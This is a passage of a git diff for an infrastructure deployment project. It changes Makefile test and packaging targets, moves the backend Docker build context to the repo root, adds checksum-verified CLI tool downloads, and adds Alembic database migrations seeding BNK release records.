Tests (non-full marker set) ===" + @cd backend && $(BACKEND_VENV) \ + $(PYTEST_BASE) tests/integration/ -m 'not full' --tb=short -q $(PYTEST_COV) $(PYTEST_COV_REPORT) $(PYTEST_JUNIT) + +# SUITE is integration-full, not integration: the artifact filenames are derived +# from it, and CI now runs both targets in one job. +test-integration-full: SUITE = integration-full test-integration-full: $(BACKEND_PREREQ) @echo "" @echo "=== Full-Mode Integration Tests (requires running Docker stack) ===" @@ -640,6 +670,7 @@ test-backend-legacy: $(BACKEND_PREREQ) --ignore=tests/component \ --ignore=tests/integration \ --ignore=tests/contract \ + --ignore=tests/migrations \ --tb=short -q $(PYTEST_COV) $(PYTEST_COV_REPORT) $(PYTEST_JUNIT) build-frontend-check: $(FRONTEND_PREREQ) @@ -746,11 +777,13 @@ test-docker: lint-backend-docker test-backend-docker test-frontend-docker test-o build-test-images: .stamp/backend-test-image .stamp/operator-test-image -.stamp/backend-test-image: backend/Dockerfile backend/requirements.txt backend/requirements-dev.txt +# VERSION is a prerequisite because the image now COPYs it — without this a +# version bump leaves a stale test image reporting the old number. +.stamp/backend-test-image: backend/Dockerfile backend/requirements.txt backend/requirements-dev.txt VERSION @mkdir -p .stamp @echo "" @echo "=== Building backend test image ($(BACKEND_TEST_IMAGE)) ===" - docker build --target test -t $(BACKEND_TEST_IMAGE) backend/ + docker build --target test -f backend/Dockerfile -t $(BACKEND_TEST_IMAGE) . @touch $@ .stamp/operator-test-image: bnk-operator/Dockerfile bnk-operator/requirements.txt bnk-operator/requirements-dev.txt @@ -925,6 +958,7 @@ help: @echo " make test-operator Run operator tests only (pytest)" @echo " make test-contracts Run golden contract tests (response shape verification)" @echo " make test-db Run DB migration validation tests" + @echo " make test-integration Run integration tests (default marker set)" @echo " make test-integration-full Run full-mode integration tests (requires Docker stack)" @echo " make test-e2e Run Tier 1 E2E tests (requires running stack)" @echo " make test-e2e-tier2 Run Tier 2 E2E tests (requires stack + AWS creds)" @@ -977,6 +1011,17 @@ help: # make push-images — tag + push all images to BNK_FORGE_REGISTRY # +# Files that `make dist` generates into dist/ but git does NOT track. The +# tarball manifest is `git ls-files dist/` plus this list, so packaging inherits +# the tracked set by definition -- dist/.gitignore stays the single source of +# truth -- while still shipping generated artifacts. Anything else sitting in a +# builder's dist/ (real secrets, .env, logs) is never copied. See #133. +# +# Note: git supplies the file NAMES only; contents are copied from the working +# tree, so the tracked files this target regenerates in place (VERSION, the two +# nginx confs) ship with their fresh content, not their committed content. +DIST_GENERATED := install-guide.html + # Build distributable install package (no source code needed by end users) # No 'build' prerequisite: the tarball bundles no images (recipients pull from # the registry), so rebuilding images here would be wasted work. @@ -991,16 +1036,32 @@ dist: echo "=== Updating dist/VERSION ==="; \ cp VERSION dist/VERSION; \ echo "=== Updating dist/nginx configs ==="; \ + : "Adding a conf here? dist/.gitignore lists the tracked ones by name;"; \ + : "a file not listed there stays untracked and misses a fresh clone."; \ cp proxy/nginx.local.conf dist/nginx/proxy.local.conf; \ cp frontend-v2/nginx.local.conf dist/nginx/frontend.local.conf; \ echo "=== Bundling install guide ==="; \ cp user-pack/install-guide.html dist/install-guide.html; \ - echo "=== Creating tarball ==="; \ + echo "=== Creating tarball (tracked files + generated artifacts only) ==="; \ TMPDIR=$$(mktemp -d); \ - cp -R dist "$$TMPDIR/bnk-forge-$${VERSION}"; \ - rm -f "$$TMPDIR/bnk-forge-$${VERSION}/bnk-forge-"*.tar.gz; \ + STAGE="$$TMPDIR/bnk-forge-$${VERSION}"; \ + mkdir -p "$$STAGE"; \ + { git ls-files -z -- dist/; \ + for g in $(DIST_GENERATED); do printf 'dist/%s\0' "$$g"; done; } \ + | sort -zu \ + | while IFS= read -r -d '' f; do \ + if [ ! -f "$$f" ]; then \ + echo " ✗ manifest lists a file that is not in the working tree: $$f" >&2; \ + exit 1; \ + fi; \ + rel="$${f#dist/}"; \ + mkdir -p "$$STAGE/$$(dirname "$$rel")"; \ + cp "$$f" "$$STAGE/$$rel"; \ + done || { rm -rf "$$TMPDIR"; exit 1; }; \ tar -czf "dist/bnk-forge-$${VERSION}.tar.gz" -C "$$TMPDIR" "bnk-forge-$${VERSION}"; \ rm -rf "$$TMPDIR"; \ + DIST_GENERATED="$(DIST_GENERATED)" scripts/check-dist-contents.sh \ + "dist/bnk-forge-$${VERSION}.tar.gz" || exit 1; \ echo ""; \ echo " ✓ Created: dist/bnk-forge-$${VERSION}.tar.gz"; \ echo ""; \ @@ -1149,7 +1210,7 @@ push-customer-build: echo ""; \ echo "========================================="; \ echo " ✅ Pushed to $$REGISTRY"; \ - echo " Immutable: $${REGISTRY}/bnk-forge-api:$${FULLTAG} (+ worker/beat/frontend/proxy/mcp)"; \ + echo " Immutable: $${REGISTRY}/bnk-forge-api:$${FULLTAG} (+ worker/beat/frontend/proxy/mcp/operator)"; \ echo " Rolling: $${REGISTRY}/bnk-forge-api:customer-build"; \ echo " Platforms: $(CB_PLATFORMS)"; \ echo ""; \ @@ -1196,6 +1257,22 @@ docker-verify: @echo "" @echo "=== Docker Image Verification ===" @echo "" + @echo "--- Version baked into the image ---" + @expected=$$(cat VERSION); \ + failed=0; \ + for img in bnk-forge-api bnk-forge-worker bnk-forge-beat; do \ + actual=$$(docker run --rm --entrypoint "" $$img:latest cat /app/VERSION 2>/dev/null || echo ""); \ + if [ "$$actual" = "$$expected" ]; then \ + echo " OK $$img reports $$actual"; \ + else \ + echo " FAIL $$img reports '$$actual', expected '$$expected'"; \ + echo " settings.VERSION falls back to 0.0.0 when /app/VERSION is absent,"; \ + echo " which surfaces on /api, the OpenAPI title and X-BNK-Forge-Version."; \ + failed=1; \ + fi; \ + done; \ + [ $$failed -eq 0 ] || exit 1 + @echo "" @echo "--- Worker CLI tools ---" @failed=0; \ check_tool() { \ @@ -1269,8 +1346,8 @@ docker-check: @echo "=== Docker Check (BuildKit lint) ===" @failed=0; \ for target_spec in \ - "backend/Dockerfile:backend" \ - "frontend-v2/Dockerfile:frontend-v2" \ + "backend/Dockerfile:." \ + "frontend-v2/Dockerfile:." \ "proxy/Dockerfile:proxy" \ "mcp-server/Dockerfile:mcp-server" \ "bnk-operator/Dockerfile:bnk-operator"; do \ diff --git a/backend/.dockerignore b/backend/.dockerignore deleted file mode 100644 index d6af0842..00000000 --- a/backend/.dockerignore +++ /dev/null @@ -1,70 +0,0 @@ -# DEVOPS-003: Reduce Docker build context size -# Excluding unnecessary files speeds up builds and reduces image size - -# Python -__pycache__/ -*.py[cod] -*$py.class -*.so -.Python -*.egg-info/ -.eggs/ -*.egg -.pytest_cache/ -.coverage -htmlcov/ -.tox/ -.nox/ -.mypy_cache/ -.ruff_cache/ - -# Virtual environments -venv/ -.venv/ -env/ -# OPS-004: Exclude ALL .env files to prevent leaking secrets into image -.env -.env.* -.env.local -.env.*.local - -# IDE -.idea/ -.vscode/ -*.swp -*.swo -*~ - -# Git -.git/ -.gitignore - -# Documentation -*.md -docs/ - -# Tests (not needed in production image) -tests/ -test_*.py -*_test.py -conftest.py - -# Development files -*.bak -*.log -*.tmp - -# Local data (mounted as volumes in production) -projects/ -keys/ -state/ -workspaces/ -helm_charts/ - -# Alembic versions are needed, but not the pycache -alembic/__pycache__/ -alembic/versions/__pycache__/ - -# Docker files (avoid recursive context) -Dockerfile -docker-compose*.yml diff --git a/backend/Dockerfile b/backend/Dockerfile index 14bed2cb..77b6da3f 100644 --- a/backend/Dockerfile +++ b/backend/Dockerfile @@ -75,7 +75,7 @@ WORKDIR /app # FROM base AS dependencies ARG BUILD_DEV=false -COPY requirements.txt requirements-dev.txt ./ +COPY backend/requirements.txt backend/requirements-dev.txt ./ RUN --mount=type=cache,target=/root/.cache/pip \ if [ "$BUILD_DEV" = "true" ]; then \ pip install --prefix=/install -r requirements-dev.txt; \ @@ -95,31 +95,38 @@ FROM base AS app-base COPY --from=dependencies /install /usr/local # Copy application code (ordered by change frequency — least-changing first) -COPY alembic.ini ./ -COPY alembic/ ./alembic/ -COPY data/ ./data/ -COPY core/ ./core/ -COPY models/ ./models/ -COPY schemas/ ./schemas/ -COPY utils/ ./utils/ -COPY modules/ ./modules/ -COPY services/ ./services/ -COPY routes/ ./routes/ -COPY tasks/ ./tasks/ +# The repo-root VERSION file. core/config.py._read_version_file() has always +# looked for /app/VERSION; nothing copied it, so settings.VERSION fell back to +# "0.0.0" in every backend image — visible on /api, in the OpenAPI title and in +# the X-BNK-Forge-Version header. This is why the build context is the repo root +# rather than ./backend: VERSION lives above backend/ and cannot be reached from +# a context rooted inside it. The frontend image already builds this way. +COPY VERSION ./VERSION +COPY backend/alembic.ini ./ +COPY backend/alembic/ ./alembic/ +COPY backend/data/ ./data/ +COPY backend/core/ ./core/ +COPY backend/models/ ./models/ +COPY backend/schemas/ ./schemas/ +COPY backend/utils/ ./utils/ +COPY backend/modules/ ./modules/ +COPY backend/services/ ./services/ +COPY backend/routes/ ./routes/ +COPY backend/tasks/ ./tasks/ # Python entry points change most often — copy last for best cache hits -COPY *.py ./ +COPY backend/*.py ./ # Create required directories and set ownership to bnkforge user # /app/bfb-cache is pre-created so the named Docker volume inherits # correct ownership on first mount (otherwise it initializes as root). -RUN mkdir -p /tmp/bnk-forge-logs /tmp/bnk-forge-modules /app/state /app/helm_charts /app/projects /app/keys /app/workspaces /app/bfb-cache /app/provider-cache && \ +RUN mkdir -p /tmp/bnk-forge-logs /tmp/bnk-forge-modules /app/state /app/helm_charts /app/projects /app/keys /app/agent-token /app/workspaces /app/bfb-cache /app/provider-cache && \ chown -R bnkforge:bnkforge /app /tmp/bnk-forge-logs /tmp/bnk-forge-modules # Shared OpenTofu provider cache path (mounted from compose volume at runtime) ENV TF_PLUGIN_CACHE_DIR=/app/provider-cache # Copy entrypoint script (handles DB migrations for API, skips for celery) -COPY entrypoint.sh /entrypoint.sh +COPY backend/entrypoint.sh /entrypoint.sh RUN chmod +x /entrypoint.sh ENTRYPOINT ["/entrypoint.sh"] @@ -157,6 +164,12 @@ ENV KUBECTL_SHA256_arm64=86fa465134c54de6202d89d41eb89504810236cc968e1402a31f367 ENV LLMTOP_VERSION=0.2.0 ENV LLMTOP_SHA256_amd64=2f2e043d5aa33a923ab7ce2921a92e9780dc1ec2241efcc20462cf5c673e8ec7 ENV LLMTOP_SHA256_arm64=6c2560827e9a1a810d472ae21b5a41b450e93e20ba46d2657403da873090c4ab +# oras — OCI registry client used by ReleaseSource live-fetch (ADR-494). +# Needed in both api (synchronous uvicorn endpoint) and worker stages. +# SHA256 values verified against upstream oras_1.2.2_checksums.txt (confirmed match). +ENV ORAS_VERSION=1.2.2 +ENV ORAS_SHA256_amd64=bff970346470e5ef888e9f2c0bf7f8ee47283f5a45207d6e7a037da1fb0eae0d +ENV ORAS_SHA256_arm64=edd7195cbb8ba56c29ede413eefa10c8026201d63326017cd315841b4063aa56 # System packages needed for tool downloads # IMPORTANT: Terraform local-exec provisioners default to /bin/sh. @@ -184,26 +197,44 @@ RUN curl --retry 3 --retry-delay 2 --retry-connrefused -fsSL "https://awscli.ama && ./aws/install \ && rm -rf aws awscliv2.zip -# OPT-001: Download OpenTofu + Helm + kubectl in a single layer -# This is the heaviest download (~200MB) — cached unless versions change. -# Retries make transient CDN/TLS disconnects non-fatal during image builds. -RUN curl --retry 3 --retry-delay 2 --retry-connrefused -fsSL "https://github.com/opentofu/opentofu/releases/download/v${OPENTOFU_VERSION}/tofu_${OPENTOFU_VERSION}_linux_${TARGETARCH}.zip" -o tofu.zip \ - && EXPECTED=$(eval echo \$OPENTOFU_SHA256_${TARGETARCH}) \ - && echo "${EXPECTED} tofu.zip" | sha256sum -c - \ - && unzip tofu.zip && mv tofu /usr/local/bin/ && chmod +x /usr/local/bin/tofu && rm tofu.zip \ - && curl --retry 3 --retry-delay 2 --retry-connrefused -fsSL "https://get.helm.sh/helm-v${HELM_VERSION}-linux-${TARGETARCH}.tar.gz" -o helm.tar.gz \ +# OPT-001: Download infrastructure CLI tools. +# GitHub URLs (tofu, llmtop, oras) use ADD — Docker-daemon fetch via host cert store, +# DLP-safe per F5 KB57735. get.helm.sh and dl.k8s.io are not TLS-intercepted; +# curl is fine for those. + +# tofu — github.com: ADD (DLP-safe) +ADD "https://github.com/opentofu/opentofu/releases/download/v${OPENTOFU_VERSION}/tofu_${OPENTOFU_VERSION}_linux_${TARGETARCH}.zip" /tmp/tofu.zip +RUN EXPECTED=$(eval echo \$OPENTOFU_SHA256_${TARGETARCH}) \ + && echo "${EXPECTED} /tmp/tofu.zip" | sha256sum -c - \ + && unzip /tmp/tofu.zip tofu -d /tmp \ + && mv /tmp/tofu /usr/local/bin/ && chmod +x /usr/local/bin/tofu \ + && rm /tmp/tofu.zip + +# helm — get.helm.sh + kubectl — dl.k8s.io: curl (not TLS-intercepted) +RUN curl --retry 3 --retry-delay 2 --retry-connrefused -fsSL "https://get.helm.sh/helm-v${HELM_VERSION}-linux-${TARGETARCH}.tar.gz" -o /tmp/helm.tar.gz \ && EXPECTED=$(eval echo \$HELM_SHA256_${TARGETARCH}) \ - && echo "${EXPECTED} helm.tar.gz" | sha256sum -c - \ - && tar -zxvf helm.tar.gz && mv linux-${TARGETARCH}/helm /usr/local/bin/ && chmod +x /usr/local/bin/helm && rm -rf linux-${TARGETARCH} helm.tar.gz \ + && echo "${EXPECTED} /tmp/helm.tar.gz" | sha256sum -c - \ + && tar -zxvf /tmp/helm.tar.gz -C /tmp && mv /tmp/linux-${TARGETARCH}/helm /usr/local/bin/ && chmod +x /usr/local/bin/helm && rm -rf /tmp/linux-${TARGETARCH} /tmp/helm.tar.gz \ && curl --retry 3 --retry-delay 2 --retry-connrefused -fsSL "https://dl.k8s.io/release/v${KUBECTL_VERSION}/bin/linux/${TARGETARCH}/kubectl" -o /usr/local/bin/kubectl \ && EXPECTED=$(eval echo \$KUBECTL_SHA256_${TARGETARCH}) \ && echo "${EXPECTED} /usr/local/bin/kubectl" | sha256sum -c - \ - && chmod +x /usr/local/bin/kubectl \ - && curl --retry 3 --retry-delay 2 --retry-connrefused -fsSL "https://github.com/InfraWhisperer/llmtop/releases/download/v${LLMTOP_VERSION}/llmtop_${LLMTOP_VERSION}_linux_${TARGETARCH}.tar.gz" -o llmtop.tar.gz \ - && EXPECTED=$(eval echo \$LLMTOP_SHA256_${TARGETARCH}) \ - && echo "${EXPECTED} llmtop.tar.gz" | sha256sum -c - \ - && tar -zxf llmtop.tar.gz llmtop && mv llmtop /usr/local/bin/ && chmod +x /usr/local/bin/llmtop \ - && rm -f llmtop.tar.gz + && chmod +x /usr/local/bin/kubectl + +# llmtop — github.com: ADD (DLP-safe) +ADD "https://github.com/InfraWhisperer/llmtop/releases/download/v${LLMTOP_VERSION}/llmtop_${LLMTOP_VERSION}_linux_${TARGETARCH}.tar.gz" /tmp/llmtop.tar.gz +RUN EXPECTED=$(eval echo \$LLMTOP_SHA256_${TARGETARCH}) \ + && echo "${EXPECTED} /tmp/llmtop.tar.gz" | sha256sum -c - \ + && tar -zxf /tmp/llmtop.tar.gz -C /tmp llmtop \ + && mv /tmp/llmtop /usr/local/bin/ && chmod +x /usr/local/bin/llmtop \ + && rm /tmp/llmtop.tar.gz + +# oras — github.com: ADD (DLP-safe) +ADD "https://github.com/oras-project/oras/releases/download/v${ORAS_VERSION}/oras_${ORAS_VERSION}_linux_${TARGETARCH}.tar.gz" /tmp/oras.tar.gz +RUN EXPECTED=$(eval echo \$ORAS_SHA256_${TARGETARCH}) \ + && echo "${EXPECTED} /tmp/oras.tar.gz" | sha256sum -c - \ + && tar -zxf /tmp/oras.tar.gz -C /tmp oras \ + && mv /tmp/oras /usr/local/bin/ && chmod +x /usr/local/bin/oras \ + && rm /tmp/oras.tar.gz # Infracost (OPTIONAL — deprecated in v2) ARG INSTALL_INFRACOST=false @@ -242,9 +273,11 @@ RUN apt-get purge -y --auto-remove unzip && rm -rf /var/lib/apt/lists/* # FROM app-base AS api -# OPT-001: Copy helm + kubectl from tooling-deps (code-change-independent cache) +# OPT-001: Copy helm + kubectl + oras from tooling-deps (code-change-independent cache) +# oras is needed here: GET /{id}/tags and POST /{id}/tags:pull run in uvicorn, not Celery. COPY --from=tooling-deps /usr/local/bin/helm /usr/local/bin/helm COPY --from=tooling-deps /usr/local/bin/kubectl /usr/local/bin/kubectl +COPY --from=tooling-deps /usr/local/bin/oras /usr/local/bin/oras # Create helm cache/config dirs for bnkforge user RUN mkdir -p /home/bnkforge/.cache/helm /home/bnkforge/.config/helm && \ @@ -273,6 +306,7 @@ COPY --from=tooling-deps /usr/local/bin/tofu /usr/local/bin/tofu COPY --from=tooling-deps /usr/local/bin/helm /usr/local/bin/helm COPY --from=tooling-deps /usr/local/bin/kubectl /usr/local/bin/kubectl COPY --from=tooling-deps /usr/local/bin/llmtop /usr/local/bin/llmtop +COPY --from=tooling-deps /usr/local/bin/oras /usr/local/bin/oras # AWS CLI v2: copy the full install tree then recreate the symlinks. # The installer places the runtime at /usr/local/aws-cli/v2/current/ and # creates symlinks at /usr/local/bin/{aws,aws_completer}. COPY --from @@ -325,7 +359,7 @@ CMD ["celery", "-A", "celery_app", "beat", "--loglevel=info"] # Size: ~400MB (base + dev deps). # FROM base AS test -COPY requirements.txt requirements-dev.txt ./ +COPY backend/requirements.txt backend/requirements-dev.txt ./ RUN --mount=type=cache,target=/root/.cache/pip \ pip install -r requirements-dev.txt WORKDIR /app diff --git a/backend/alembic/versions/v2_138_add_container_registries.py b/backend/alembic/versions/v2_138_add_container_registries.py index ea75cd29..8ad08887 100644 --- a/backend/alembic/versions/v2_138_add_container_registries.py +++ b/backend/alembic/versions/v2_138_add_container_registries.py @@ -7,6 +7,14 @@ Revision ID: v2_138 Revises: v2_137 + +Idempotent by necessity (INV-7). Fresh installs are provisioned by init_db.py +with ``create_all`` + ``stamp head``, so a stack installed at any release whose +ORM already declared ContainerRegistry has this table ALREADY, while its stamp +sits at v2_137 — below this revision. Upgrading such a stack replays v2_138 and +an unguarded ``create_table`` raises DuplicateTable, which aborts the whole +upgrade and crash-loops the backend. Guarding the create lets those stacks move +through the chain; on a DB that genuinely lacks the table this is unchanged. """ import sqlalchemy as sa @@ -20,6 +28,12 @@ def upgrade() -> None: + if sa.inspect(op.get_bind()).has_table("container_registries"): + # Built by create_all at install time; nothing to do. Indexes below are + # created with if_not_exists so they converge either way. + _ensure_indexes() + return + op.create_table( "container_registries", sa.Column("id", sa.Integer(), nullable=False), @@ -43,11 +57,23 @@ def upgrade() -> None: sa.PrimaryKeyConstraint("id"), sa.UniqueConstraint("name"), ) - op.create_index("ix_container_registries_id", "container_registries", ["id"]) - op.create_index("ix_container_registries_name", "container_registries", ["name"]) + _ensure_indexes() + + +def _ensure_indexes() -> None: + op.create_index( + "ix_container_registries_id", "container_registries", ["id"], if_not_exists=True + ) + op.create_index( + "ix_container_registries_name", "container_registries", ["name"], if_not_exists=True + ) def downgrade() -> None: - op.drop_index("ix_container_registries_name", "container_registries") + # if_exists: v2_152 drops this index (it is redundant beside the unique + # constraint), so downgrading past that revision reaches here with it gone. + op.drop_index( + "ix_container_registries_name", "container_registries", if_exists=True + ) op.drop_index("ix_container_registries_id", "container_registries") op.drop_table("container_registries") diff --git a/backend/alembic/versions/v2_143_add_usecase_artifact_tables.py b/backend/alembic/versions/v2_143_add_usecase_artifact_tables.py new file mode 100644 index 00000000..cbd39435 --- /dev/null +++ b/backend/alembic/versions/v2_143_add_usecase_artifact_tables.py @@ -0,0 +1,106 @@ +"""D-034 Phase 0: use-case artifact tracer tables. + +Revision ID: v2_143 +Revises: v2_141 + +Adds the three tables backing the portable BNK use-case artifact tracer +(docs/adr/D-034): + - usecase_artifacts: named, mutable container (rename/describe only). + - usecase_artifact_versions: immutable once created; cr_templates + + param_schema JSON blobs; unique (artifact_id, version). + - usecase_applications: binding of an artifact version + param_values to a + cluster, so drift always compares against the exact desired-state that + was applied. + +Note: down_revision is v2_141, not v2_142. v2_142 is owned by the in-flight +wave-1 benchmarks branch (not yet merged) — both parent v2_141, creating +parallel heads that the project's stacked-migration merge rule resolves at +merge time (serial merge or a merge revision). +""" + +import sqlalchemy as sa + +from alembic import op + +revision = "v2_143" +down_revision = "v2_141" +branch_labels = None +depends_on = None + + +def upgrade() -> None: + op.create_table( + "usecase_artifacts", + sa.Column("id", sa.Integer(), primary_key=True), + sa.Column("name", sa.String(255), nullable=False, unique=True), + sa.Column("description", sa.Text(), nullable=True), + sa.Column("created_by", sa.String(255), nullable=True), + sa.Column("created_at", sa.DateTime(timezone=True), server_default=sa.func.now()), + sa.Column("updated_at", sa.DateTime(timezone=True), server_default=sa.func.now()), + ) + op.create_index("ix_usecase_artifacts_id", "usecase_artifacts", ["id"]) + + op.create_table( + "usecase_artifact_versions", + sa.Column("id", sa.Integer(), primary_key=True), + sa.Column( + "artifact_id", sa.Integer(), + sa.ForeignKey("usecase_artifacts.id", ondelete="CASCADE"), nullable=False, + ), + sa.Column("version", sa.String(50), nullable=False), + sa.Column("matching_bnk_version", sa.String(64), nullable=True), + sa.Column("cr_templates", sa.JSON(), nullable=False), + sa.Column("param_schema", sa.JSON(), nullable=False), + sa.Column("source", sa.String(50), nullable=False), + sa.Column( + "source_cluster_id", sa.Integer(), + sa.ForeignKey("kubernetes_clusters.id", ondelete="SET NULL"), nullable=True, + ), + sa.Column("content_hash", sa.String(64), nullable=False), + sa.Column("created_by", sa.String(255), nullable=True), + sa.Column("created_at", sa.DateTime(timezone=True), server_default=sa.func.now()), + sa.UniqueConstraint("artifact_id", "version", name="uq_usecase_artifact_version"), + ) + op.create_index("ix_usecase_artifact_versions_id", "usecase_artifact_versions", ["id"]) + op.create_index( + "idx_usecase_artifact_version_artifact", "usecase_artifact_versions", ["artifact_id"] + ) + op.create_index( + "idx_usecase_artifact_version_content_hash", "usecase_artifact_versions", ["content_hash"] + ) + + op.create_table( + "usecase_applications", + sa.Column("id", sa.Integer(), primary_key=True), + sa.Column( + "artifact_version_id", sa.Integer(), + sa.ForeignKey("usecase_artifact_versions.id", ondelete="CASCADE"), nullable=False, + ), + sa.Column( + "cluster_id", sa.Integer(), + sa.ForeignKey("kubernetes_clusters.id", ondelete="CASCADE"), nullable=False, + ), + sa.Column("param_values", sa.JSON(), nullable=False), + sa.Column("applied_by", sa.String(255), nullable=True), + sa.Column("applied_at", sa.DateTime(timezone=True), server_default=sa.func.now()), + ) + op.create_index("ix_usecase_applications_id", "usecase_applications", ["id"]) + op.create_index( + "idx_usecase_application_version", "usecase_applications", ["artifact_version_id"] + ) + op.create_index("idx_usecase_application_cluster", "usecase_applications", ["cluster_id"]) + + +def downgrade() -> None: + op.drop_index("idx_usecase_application_cluster", table_name="usecase_applications") + op.drop_index("idx_usecase_application_version", table_name="usecase_applications") + op.drop_index("ix_usecase_applications_id", table_name="usecase_applications") + op.drop_table("usecase_applications") + + op.drop_index("idx_usecase_artifact_version_content_hash", table_name="usecase_artifact_versions") + op.drop_index("idx_usecase_artifact_version_artifact", table_name="usecase_artifact_versions") + op.drop_index("ix_usecase_artifact_versions_id", table_name="usecase_artifact_versions") + op.drop_table("usecase_artifact_versions") + + op.drop_index("ix_usecase_artifacts_id", table_name="usecase_artifacts") + op.drop_table("usecase_artifacts") diff --git a/backend/alembic/versions/v2_144_bnk_deployable_release.py b/backend/alembic/versions/v2_144_bnk_deployable_release.py new file mode 100644 index 00000000..ff21c842 --- /dev/null +++ b/backend/alembic/versions/v2_144_bnk_deployable_release.py @@ -0,0 +1,452 @@ +"""ADR-478 P1-1: introduce bnk_deployable_release, retire bnk_version_profiles. + +Revision ID: v2_144 +Revises: v2_143 +Create Date: 2026-07-20 + +New table: bnk_deployable_release + Full deploy matrix (mirrors former bnk_version_profiles) plus: + - is_active: Boolean + - source_type: String(30) default 'manual' + - bnk_release_id: Integer FK → bnk_releases.id ON DELETE SET NULL (display only) + +Migration steps (upgrade): + 1. Create bnk_deployable_release + 2. Migrate existing bnk_version_profiles rows; seed 2.3.1 + any absent 2.1/2.2 + 3. Update bare_metal_hosts.version_profile_id values; repoint FK + 4. Add bare_metal_deployments.deployable_release_id FK column + 5. Drop bnk_version_profiles + +Downgrade: strict inverse. +""" + +import json +from datetime import UTC, datetime + +import sqlalchemy as sa + +from alembic import op + +revision = "v2_144" +down_revision = "v2_143" +branch_labels = None +depends_on = None + +# --------------------------------------------------------------------------- +# Seed data (mirrors services/bare_metal/version_profiles.py SEED_RELEASES) +# --------------------------------------------------------------------------- + +_SEED_ROWS = [ + { + "name": "bnk-2.1", + "display_name": "BNK 2.1 (GA)", + "description": "BNK 2.1 General Availability release", + "is_default": False, + "is_active": True, + "source_type": "manual", + "bnk_manifest_version": "2.1.0", + "bnk_cr_kind": "CNEInstance", + "flo_version": "0.9.23", + "k8s_version": "1.29.8", + "doca_version": "2.7.0", + "containerd_version": "1.7.12", + "runc_version": "1.1.12", + "calico_version": "3.28.0", + "cert_manager_version": "v1.14.5", + "gateway_api_version": "1.1.0", + "multus_version": "4.0.2", + "sriov_version": "1.3.0", + "storage_class_type": "local-path", + "storage_provisioner": "rancher.io/local-path", + "feature_flags": '{"ipv6": false, "tmm_node_labels": true}', + }, + { + "name": "bnk-2.2", + "display_name": "BNK 2.2 (GA)", + "description": "BNK 2.2 General Availability release", + "is_default": True, + "is_active": True, + "source_type": "manual", + "bnk_manifest_version": "2.2.1-3.2226.0-0.0.511", + "bnk_cr_kind": "CNEInstance", + "flo_version": "v2.9.27-0.3.4", + "k8s_version": "1.30.4", + "doca_version": "2.9.1", + "containerd_version": "1.7.20", + "runc_version": "1.1.13", + "calico_version": "3.28.1", + "cert_manager_version": "v1.15.3", + "gateway_api_version": "1.1.0", + "multus_version": "4.1.0", + "sriov_version": "1.4.0", + "storage_class_type": "local-path", + "storage_provisioner": "rancher.io/local-path", + "feature_flags": '{"ipv6": false, "tmm_node_labels": true}', + }, + { + "name": "bnk-2.3.1", + "display_name": "BNK 2.3.1 (GA)", + "description": "BNK 2.3.1 General Availability release", + "is_default": False, + "is_active": True, + "source_type": "manual", + "bnk_manifest_version": "2.3.1-3.2598.3-0.0.304", + "bnk_cr_kind": "CNEInstance", + "flo_version": "v2.21.13-0.0.53", + "k8s_version": "1.30.14", + "doca_version": "3.2.0", + "containerd_version": "1.7.23", + "runc_version": "1.2.1", + "calico_version": "3.28.1", + "cert_manager_version": "v1.16.2", + "gateway_api_version": "1.1.0", + "multus_version": "4.1.0", + "sriov_version": "1.4.0", + "storage_class_type": "local-path", + "storage_provisioner": "rancher.io/local-path", + "feature_flags": '{"ipv6": false, "tmm_node_labels": true}', + "_bnk_release_flo_prefix": "2.21", # used below to resolve bnk_release_id + }, +] + + +def upgrade() -> None: + bind = op.get_bind() + now = datetime.now(UTC) + + # ------------------------------------------------------------------ + # 1. Create bnk_deployable_release + # ------------------------------------------------------------------ + op.create_table( + "bnk_deployable_release", + sa.Column("id", sa.Integer(), primary_key=True), + sa.Column("name", sa.String(100), nullable=False, unique=True), + sa.Column("display_name", sa.String(255), nullable=False), + sa.Column("description", sa.Text(), nullable=True), + sa.Column("is_default", sa.Boolean(), nullable=True, server_default="0"), + sa.Column("is_active", sa.Boolean(), nullable=True, server_default="1"), + sa.Column("source_type", sa.String(30), nullable=False, server_default="manual"), + sa.Column("bnk_release_id", sa.Integer(), sa.ForeignKey("bnk_releases.id", ondelete="SET NULL"), nullable=True), + sa.Column("bnk_manifest_version", sa.String(50), nullable=False), + sa.Column("bnk_cr_kind", sa.String(50), nullable=False), + sa.Column("flo_version", sa.String(50), nullable=False), + sa.Column("k8s_version", sa.String(50), nullable=False), + sa.Column("doca_version", sa.String(50), nullable=False), + sa.Column("containerd_version", sa.String(50), nullable=False), + sa.Column("runc_version", sa.String(50), nullable=False), + sa.Column("calico_version", sa.String(50), nullable=False), + sa.Column("cert_manager_version", sa.String(50), nullable=False), + sa.Column("gateway_api_version", sa.String(50), nullable=False), + sa.Column("multus_version", sa.String(50), nullable=False), + sa.Column("sriov_version", sa.String(50), nullable=False), + sa.Column("storage_class_type", sa.String(50), nullable=False), + sa.Column("storage_provisioner", sa.String(255), nullable=False), + sa.Column("feature_flags", sa.JSON(), nullable=True), + sa.Column("full_manifest", sa.JSON(), nullable=True), + sa.Column("created_at", sa.DateTime(timezone=True), nullable=True, server_default=sa.func.now()), + sa.Column("updated_at", sa.DateTime(timezone=True), nullable=True, server_default=sa.func.now()), + ) + op.create_index("idx_bnk_deployable_release_default", "bnk_deployable_release", ["is_default"]) + op.create_index("idx_bnk_deployable_release_active", "bnk_deployable_release", ["is_active"]) + op.create_index(op.f("ix_bnk_deployable_release_name"), "bnk_deployable_release", ["name"], unique=True) + op.create_index(op.f("ix_bnk_deployable_release_id"), "bnk_deployable_release", ["id"], unique=False) + + # ------------------------------------------------------------------ + # 2. Migrate existing bnk_version_profiles rows → bnk_deployable_release + # ------------------------------------------------------------------ + old_rows = bind.execute(sa.text( + "SELECT id, name, display_name, description, is_default, " + "bnk_manifest_version, bnk_cr_kind, flo_version, k8s_version, doca_version, " + "containerd_version, runc_version, calico_version, cert_manager_version, " + "gateway_api_version, multus_version, sriov_version, " + "storage_class_type, storage_provisioner, feature_flags, full_manifest " + "FROM bnk_version_profiles" + )).fetchall() + + old_id_to_name: dict[int, str] = {} + for row in old_rows: + old_id_to_name[row.id] = row.name + + # Insert migrated rows; collect old_id → new_id mapping by name + for row in old_rows: + bind.execute(sa.text( + "INSERT INTO bnk_deployable_release " + "(name, display_name, description, is_default, is_active, source_type, " + "bnk_manifest_version, bnk_cr_kind, flo_version, k8s_version, doca_version, " + "containerd_version, runc_version, calico_version, cert_manager_version, " + "gateway_api_version, multus_version, sriov_version, " + "storage_class_type, storage_provisioner, feature_flags, full_manifest, " + "created_at, updated_at) " + 